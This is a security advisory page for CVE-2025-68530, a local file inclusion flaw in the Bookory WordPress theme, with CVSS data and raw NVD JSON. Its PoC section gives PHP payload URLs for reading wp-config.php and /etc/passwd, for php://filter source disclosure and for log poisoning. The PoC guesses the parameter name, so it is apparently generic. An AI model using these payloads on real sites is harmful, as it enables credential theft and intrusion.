Security Vulnerability Report
中文
CVE-2025-68530 CVSS 7.5 HIGH

CVE-2025-68530

Published: 2025-12-24 13:16:22
Last Modified: 2026-04-27 19:16:29

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in pavothemes Bookory bookory allows PHP Local File Inclusion.This issue affects Bookory: from n/a through <= 2.2.7.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Bookory <= 2.2.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php // CVE-2025-68530 PoC - Bookory Local File Inclusion // Target: Bookory WordPress Theme <= 2.2.7 // Type: Local File Inclusion $target = "http://target-site.com/wp-content/themes/bookory/"; // Method 1: Read wp-config.php $lfi_payload_1 = $target . "?file=../../wp-config.php"; echo "[*] Attempting to read wp-config.php...\n"; echo "[*] URL: " . $lfi_payload_1 . "\n\n"; // Method 2: Read /etc/passwd using directory traversal $lfi_payload_2 = $target . "?file=../../../../../../etc/passwd"; echo "[*] Attempting to read /etc/passwd...\n"; echo "[*] URL: " . $lfi_payload_2 . "\n\n"; // Method 3: Read PHP source using php://filter $lfi_payload_3 = $target . "?file=php://filter/convert.base64-encode/resource=index.php"; echo "[*] Attempting to read source via php://filter...\n"; echo "[*] URL: " . $lfi_payload_3 . "\n\n"; // Method 4: Log poisoning for RCE (if logs are accessible) // First inject PHP code into User-Agent or other headers // Then include the log file $lfi_payload_4 = $target . "?file=../../../../../../var/log/apache2/access.log"; echo "[*] Attempting log poisoning...\n"; echo "[*] Include log file: " . $lfi_payload_4 . "\n"; // Note: Replace 'file' parameter name with actual vulnerable parameter // Common parameter names: file, page, template, theme_file, include, etc. ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68530", "sourceIdentifier": "[email protected]", "published": "2025-12-24T13:16:22.480", "lastModified": "2026-04-27T19:16:28.523", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in pavothemes Bookory bookory allows PHP Local File Inclusion.This issue affects Bookory: from n/a through <= 2.2.7."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/bookory/vulnerability/wordpress-bookory-theme-2-2-7-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}